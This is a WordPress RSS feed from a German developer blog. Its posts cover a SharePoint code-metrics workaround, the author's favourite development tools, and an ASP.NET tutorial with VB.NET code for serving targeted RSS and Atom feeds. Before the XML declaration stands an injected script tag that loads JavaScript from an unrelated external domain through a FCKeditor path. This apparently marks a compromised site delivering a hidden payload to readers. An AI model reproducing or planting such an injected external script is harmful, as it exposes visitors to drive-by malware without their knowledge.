<script src=http://onortao.com.br/FCKeditor/ver_evento.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; Visual Studio</title>
	<atom:link href="http://www.xentrope.de/tag/visual-studio/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>The following error was encountered while reading module &#8216;Microsoft.SharePoint&#8217;: Could not resolve type: ObjectModel.</title>
		<link>http://www.xentrope.de/allgemein/the-following-error-was-encountered-while-reading-module-microsoftsharepoint-could-not-resolve-type-tobjectmodel/</link>
		<comments>http://www.xentrope.de/allgemein/the-following-error-was-encountered-while-reading-module-microsoftsharepoint-could-not-resolve-type-tobjectmodel/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 18:17:34 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Code Metrics]]></category>
		<category><![CDATA[Microsoft SharePoint]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=147</guid>
		<description><![CDATA[Bei Projekten mit einer Referenz auf die &#8220;Microsoft.SharePoint.dll&#8221; laufen keine Code Metric Analysen. Der Grund ist nach einer kurzen Google-Recherche auch schnell gefunden: Ein Bug im Visual Studio 2008. Ein Workaround gibts auch dazu: Man muss lediglich eine Referenz auf die &#8220;C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\12\ISAPI\Microsoft.SharePoint.Security.dll&#8221; einbinden, dann klappts auch mit der Analyse.]]></description>
			<content:encoded><![CDATA[<p>Bei Projekten mit einer Referenz auf die &#8220;Microsoft.SharePoint.dll&#8221; laufen keine Code Metric Analysen. Der Grund ist nach einer kurzen Google-Recherche auch schnell gefunden: Ein Bug im Visual Studio 2008.<br />
Ein <a href="https://connect.microsoft.com/VisualStudio/feedback/Workaround.aspx?FeedbackID=324796">Workaround </a>gibts auch dazu: Man muss lediglich eine Referenz auf die &#8220;C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\12\ISAPI\Microsoft.SharePoint.Security.dll&#8221; einbinden, dann klappts auch mit der Analyse.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/the-following-error-was-encountered-while-reading-module-microsoftsharepoint-could-not-resolve-type-tobjectmodel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meine Top 3 Tools</title>
		<link>http://www.xentrope.de/allgemein/meine-top-3-tools/</link>
		<comments>http://www.xentrope.de/allgemein/meine-top-3-tools/#comments</comments>
		<pubDate>Mon, 18 May 2009 05:33:04 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Blogparade]]></category>
		<category><![CDATA[MSDN]]></category>
		<category><![CDATA[Power Tools]]></category>
		<category><![CDATA[Sandcastle]]></category>
		<category><![CDATA[Team Foundation]]></category>
		<category><![CDATA[WSPBuilder]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=133</guid>
		<description><![CDATA[Nach langer Zeit melde ich mich auch mal wieder zurück, heute mit meinen Top 3 Tools zur Entwicklung. Da ich mit und für SharePoint entwickle nutze ich den WSPBuilder. Dieses Tool nimmt einem viel manuelle Arbeit bei der Entwicklung ab (Anhängen an die IIS Prozesse zum Debuggen, viele Itemtemplates, leichte Konfigurierbarkeit und große Erweiterbarkeit) Sandcastle in [...]]]></description>
			<content:encoded><![CDATA[<p>Nach langer Zeit melde ich mich auch mal wieder zurück, heute mit meinen <a href="http://blogs.msdn.com/softwarehersteller/archive/2009/05/06/msdn-blog-parade-was-sind-ihre-lieblings-entwickler-tools-mitmachen-und-gewinnen.aspx">Top 3 Tools zur Entwicklung</a>.</p>
<ol>
<li>Da ich mit und für SharePoint entwickle nutze ich den <a href="http://wspbuilder.codeplex.com/">WSPBuilder</a>. Dieses Tool nimmt einem viel manuelle Arbeit bei der Entwicklung ab (Anhängen an die IIS Prozesse zum Debuggen, viele Itemtemplates, leichte Konfigurierbarkeit und große Erweiterbarkeit)</li>
<li><a href="http://sandcastle.codeplex.com/">Sandcastle</a> in Verbindung mit dem <a href="http://shfb.codeplex.com/">Sandcastle Help File Builder</a>. Diese beiden Tools ersparen sehr viel Arbeit bei der Generierung von ansprechenden Dokumentationen. Man muss nicht mehr selbst die HTML Files erstellen und in ein CHM packen, einfach in die Post-Build Action der Release Version diese beiden Tools integrieren und man bekommt zu jedem neuen Release eine komplette Dokumentation für den Kunden. Einfach, praktisch, gut.</li>
<li>Die <a href="http://msdn.microsoft.com/en-us/teamsystem/bb980963.aspx">Team Foundation Power Tools</a> ! Unverzichtbar bei der Entwicklung, vor allem aber beim Projektstart und der Projektvorbereitung. Wer den Team Foundation Server nutzt und diese Tools nicht einsetzt ist selber Schuld. :)</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/meine-top-3-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET 2 in 30 minutes: Feeds made simple</title>
		<link>http://www.xentrope.de/visual-studio/aspnet-2-in-30-minutes-feeds-made-simple/</link>
		<comments>http://www.xentrope.de/visual-studio/aspnet-2-in-30-minutes-feeds-made-simple/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 19:14:41 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://underworld.selfip.net/?p=10</guid>
		<description><![CDATA[Newsfeeds können sehr praktisch sein. Schon mal an eine Interaktion von Feed &#60;-&#62; System Management Server oder Feed &#60;-&#62; Domain gedacht? Ein praktisches Beispiel: In einem Unternehmen werden regelmäßig Systemhotfixe, Systemupdates, Application Updates etc. verteilt. Dabei sollen die User aber vorher informiert werden damit sie wissen, das ein Update zur Installation ansteht oder das die [...]]]></description>
			<content:encoded><![CDATA[<p>Newsfeeds können sehr praktisch sein. Schon mal an eine Interaktion von Feed &lt;-&gt; System Management Server oder Feed &lt;-&gt; Domain gedacht?<br />
Ein praktisches Beispiel:<br />
In einem Unternehmen werden regelmäßig Systemhotfixe, Systemupdates, Application Updates etc. verteilt. Dabei sollen die User aber vorher informiert werden damit sie wissen, das ein Update zur Installation ansteht oder das die Performance kurzfristig beeinträchtigt werden kann.<br />
In der Regel gehen dann ellenlange Mails mit (für den User) unverständlichen Informationen durch das Unternehmen.<br />
Man könnte aber auch einen (oder mehrere) zentrale(n) Newsfeed(s) anbieten. Einen für Hotfixe, noch einen für Office-Patches oder auch einen für Updates einer spezifischen Software (Visual Studio meinetwegen).<br />
Großes Gerede, aber was brauchen wir?<br />
Wie benötigen ein wenig ASP.Net 2 Webspace. Wenn vorhanden noch eine SQL-Datenbank, es reicht aber auch wenn man eine Access-Datenbank nutzt.<br />
Dort legt man 2 Tabellen an:</p>
<pre name="code" class="html:nocontrols:SQL">CREATE TABLE Channels (
[id] [int] IDENTITY(1,1) NOT NULL,
[title] [nvarchar](255) NULL,
[description] [ntext] NULL,
[managingeditor] [nvarchar](50) NULL,
[webmaster] [nvarchar](50) NULL);

CREATE TABLE Items(
[id] [int] IDENTITY(1,1) NOT NULL,
[title] [nvarchar](255) NULL,
[description] [ntext] NULL,
[pubdate] [datetime] NULL,
[author] [nvarchar](50) NULL,
[channel] [int] NULL,
[published] [bit] NULL DEFAULT ((0)),
[targetou] [ntext] NULL,
[smscollection] [nvarchar](50) NULL,
[clientlist] [ntext] NULL);</pre>
<p>Die Tabellennamen sind selbsterklärend: Channels für die verfügbaren Feeds und Items für alle Nachrichten. Bei der Tabelle Items habe ich 3 Spalten um die Nachrichten genauer zu Verteilen:<br />
In &#8220;targetou&#8221; kann ein spezifischer LDAP-String eingetragen werden, sodass später nur Clients die Nachricht bekommen die auch Mitglied der OU sind. Gleiches gilt für &#8220;smscollection&#8221;. Eine eingetragene Collection aus SMS stellt sicher, das nur Clients die in der Collection sind die Nachricht erhalten. Und die Spalte &#8220;clientlist&#8221; ist für spezifische Rechnerlisten. Dort sollen Semikolonseparierte FQDN-Namen von Rechnern eingetragen werden die die Nachricht erhalten sollen (z.B. zur Definition von Testfeldern).<br />
<span id="more-10"></span><br />
Weiterhin benötigen wir eine Webseite Default.aspx die uns alle verfügbaren Feeds auflistet:</p>
<pre name="code" class="html:nocontrols:ASP">
<table style="margin:auto;" border="0" width="50%">
<tbody>
<tr>
<td class="item">
<h3>&lt;%#eval("title") %&gt;</h3>

&lt;%#Eval("description")%&gt;
<ul>
<li>&lt;%#String.Format("<a href="http://www.xentrope.de/wp-admin/service.aspx?feed={0}"><img src="http://www.xentrope.de/wp-admin/images/rss2.gif" alt="" /></a>", Eval("id"))%&gt;</li>
<li>&lt;%#String.Format("<a href="http://www.xentrope.de/wp-admin/crfservice.aspx?feed={0}&amp;Format=atom"><img src="http://www.xentrope.de/wp-admin/images/atom.gif" alt="" /></a>", Eval("id"))%&gt;</li>
</ul>
</td>
</tr>
</tbody>
</table>
</pre>
<p>Ich habe eine Accessdatenbank in den App_Data Ordner gepackt, man kann aber auch andere Datenbanksysteme einsetzen. Wie man sieht, habe ich 2 Formate implementiert: RSS und ATOM.<br />
Der Grund ist simpel: Im <a href="http://cyber.law.harvard.edu/rss/rss.html">RSS</a> ist nach Definition kein HTML-Code erlaubt. Im <a href="http://www.ietf.org/rfc/rfc5005.txt">ATOM-Format</a> ist dies erlaubt.<br />
Fehlt uns noch die Datei &#8220;service.aspx&#8221; die letztendlich für die Auslieferung der Feeds zuständig ist.<br />
Im Page_Load Ereignis müssen wir nur prüfen ob eine FeedID übergeben wurde.</p>
<pre name="code" class="html:nocontrols:VB.Net">        If Request.QueryString("feed") Is Nothing Or _
Request.QueryString("feed").Trim = "" Then Exit Sub
Response.Clear()
Response.ContentType = "text/xml"
If Request.QueryString("Format") IsNot Nothing Then
Select Case Request.QueryString("Format").ToUpper
Case "ATOM" : Response.Write(GenerateAtomFeed)
Case Else : Response.Write(GenerateRSSFeed)
End Select
Else
Response.Write(GenerateRSSFeed)
End If
Response.End()</pre>
<p>Weiterhin wird unterschieden ob ein spezielles Format gewünscht ist, per Defautl verwenden wir RSS.<br />
Die 3 wichtigsten Funktionen zum Generieren der Feeds:</p>
<pre name="code" class="html:nocontrols:VB.Net">    Private Function GetAllItems(ByVal channelid As String) As List(Of message)
Dim SqlAllItems As New AccessDataSource
SqlAllItems.DataFile = AppSettings("Database")
SqlAllItems.SelectCommand = AppSettings("AllItems_SelectCommand")
Dim retval As New List(Of message)
SqlAllItems.SelectParameters.Clear()
SqlAllItems.SelectParameters.Add("channel", channelid)
'alle nachrichten des channels
Dim itemlist As Data.DataView = SqlAllItems.Select(DataSourceSelectArguments.Empty)
For j As Integer = 0 To itemlist.Count - 1
Dim msg As New message
With msg
.title = itemlist(j)("title").ToString
.description = itemlist(j)("description").ToString
.clientlist = itemlist(j)("clientlist").ToString
.id = itemlist(j)("id").ToString
.pubdate = itemlist(j)("pubdate").ToString
.smscollection = itemlist(j)("smscollection").ToString
.targetou = itemlist(j)("targetou").ToString
.author = itemlist(j)("author").ToString
End With
retval.Add(msg)
Next
Return retval
End Function

Private Function GenerateAtomFeed() As String
Dim responsetext As New StringBuilder
Dim reqclient As String = Net.Dns.GetHostEntry(Request.UserHostName).HostName
responsetext.Append(" ")
'alle channels durchgehen
Dim chinfo As channel = GetChannelInfo(Request.QueryString("feed"))
responsetext.AppendFormat("", chinfo.title)
responsetext.AppendFormat("{0}", chinfo.description)
responsetext.AppendFormat("urn:uuid:{0}", chinfo.id)
responsetext.AppendFormat("{0}", chinfo.webmaster)
responsetext.AppendFormat("{0}", chinfo.managingeditor)
For Each tmp As message In GetAllItems(chinfo.id)
Dim additem As Boolean = False
If tmp.clientlist.Trim.Length &gt; 1 Then
If tmp.clientlist.ToUpper.Contains(reqclient.ToUpper) Then
additem = True
End If
ElseIf tmp.smscollection.Trim.Length &gt; 1 Then
If IsClientInCollection(reqclient, tmp.smscollection) Then additem = True
ElseIf tmp.targetou.Trim.Length &gt; 1 Then
If IsClientInOU(reqclient, tmp.targetou) Then additem = True
Else
additem = True
End If
If additem Then
With responsetext
.Append("")
.AppendFormat("", tmp.title)
.Append("")
.AppendFormat("
<div>{0}</div>

", tmp.description)
.Append("")
.AppendFormat("{0}", tmp.pubdate)
.AppendFormat("{0}", tmp.author)
.AppendFormat("urn:uuid:{0}", tmp.id)
.Append("")
End With
End If
Next
responsetext.Append("")
Return responsetext.ToString
End Function

Private Function GenerateRSSFeed() As String
Dim responsetext As New StringBuilder
Dim reqclient As String = Net.Dns.GetHostEntry(Request.UserHostName).HostName
responsetext.Append("")
'alle channels durchgehen
Dim chinfo As channel = GetChannelInfo(Request.QueryString("feed"))
responsetext.Append("")
responsetext.AppendFormat("", chinfo.title)
responsetext.AppendFormat("{0}", chinfo.description)
responsetext.AppendFormat("{0}", chinfo.webmaster)
responsetext.AppendFormat("{0}", chinfo.managingeditor)
For Each tmp As message In GetAllItems(chinfo.id)
Dim additem As Boolean = False
If tmp.clientlist.Trim.Length &gt; 1 Then
If tmp.clientlist.ToUpper.Contains(reqclient.ToUpper) Then
additem = True
End If
ElseIf tmp.smscollection.Trim.Length &gt; 1 Then
If IsClientInCollection(reqclient, tmp.smscollection) Then additem = True
ElseIf tmp.targetou.Trim.Length &gt; 1 Then
If IsClientInOU(reqclient, tmp.targetou) Then additem = True
Else
additem = True
End If
If additem Then
With responsetext
.Append("")
.AppendFormat("", tmp.title)
.AppendFormat("<!--[CDATA[{0}]]-->", tmp.description)
.AppendFormat("
{0}", tmp.pubdate)
.AppendFormat("{0}", tmp.author)
.Append("")
End With
End If
Next
responsetext.Append("")
responsetext.Append("")
Return responsetext.ToString
End Function</pre>
<p>Ich hatte geschrieben, das wir prüfen wollen ob ein Rechner in einer bestimmten OU oder Collection enthalten ist:</p>
<pre name="code" class="html:nocontrols:VB.Net">    Private Function IsClientInCollection(ByVal client As String, ByVal collection As String) As Boolean
Dim SqlSMSCollection As New AccessDataSource
SqlSMSCollection.DataFile = AppSettings("Database")
SqlSMSCollection.SelectCommand = AppSettings("SMSCollection_SelectCommand")
SqlSMSCollection.SelectParameters.Clear()
SqlSMSCollection.SelectParameters.Add("smscoll", collection)
SqlSMSCollection.SelectParameters.Add("client", client.Split(".")(0))
Dim dv As Data.DataView = SqlSMSCollection.Select(DataSourceSelectArguments.Empty)
If dv IsNot Nothing Then
If dv.Count &gt; 0 Then
Dim clientsmscoll As String = dv(0)("Collection")
If clientsmscoll.ToUpper = collection.ToUpper Then Return True
End If
End If
Return False
End Function

Private Function IsClientInOU(ByVal client As String, ByVal ou As String) As Boolean
Dim SqlComputerOU As New AccessDataSource
SqlComputerOU.DataFile = AppSettings("Database")
SqlComputerOU.SelectCommand = AppSettings("ComputerOU_SelectCommand")
SqlComputerOU.SelectParameters.Clear()
SqlComputerOU.SelectParameters.Add("client", client.Split(".")(0))
Dim dv As Data.DataView = SqlComputerOU.Select(DataSourceSelectArguments.Empty)
If dv IsNot Nothing Then
If dv.Count &gt; 0 Then
Dim clientou As String = dv(0)("distinguishedname")
clientou = clientou.Substring(clientou.IndexOf(","))
If String.Compare(clientou, ou, True) Then Return True
End If
End If
Return False
End Function</pre>
<p>Jedem, der jetzt noch da ist dürfte aufgefallen sein, das die Application Settings aus der web.config fehlen:</p>
<pre name="code" class="html:nocontrols:XML">
  <appSettings>
    <add key="SMSCollection_SelectCommand"
         value="select distinct co.CollectionName as 'Collection'
                    from SMSServer.SMSDatabase.dbo.Collections as co
                    , SMSServer.SMSDatabase.dbo.CollectionMembers as cm
                    where cm.Name like @client
                    and co.CollectionName like @smscoll" />
    <add key="ComputerOU_SelectCommand"
         value="select distinguishedname from ADDatabase.dbo.ComputerReport where name like @client" />
    <add key="Channel_SelectCommand"
         value="Select * from channels where id=@feed" />
    <add key="AllItems_SelectCommand"
         value="SELECT * FROM(Items) WHERE (((items.published)=Yes) AND ((items.channel)=[@channel]));"/>
    <add key="Database"
         value="~/App_Data/database.mdb" />
  </appSettings>
</pre>
<p>Den Key &#8220;ComputerOU_SelectCommand&#8221; muss man gegebenfalls anpassen wenn man ein Mirror des Active Direcotys in einer Datenbank zur Verfügung hat. Wenn nicht, muss die Funktion &#8220;IsClientInOU&#8221; angepasst werden sodass direkt per LDAP geprüft wird.</p>
<p>Damit ist die ganze Show getan. Man sollte jetzt noch ein Admin-Interface zusammenschrauben.</p>
<p><a href="http://www.xentrope.de/wp-content/uploads/Feeds_Sample.zip">Beispielsourcecode</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/aspnet-2-in-30-minutes-feeds-made-simple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
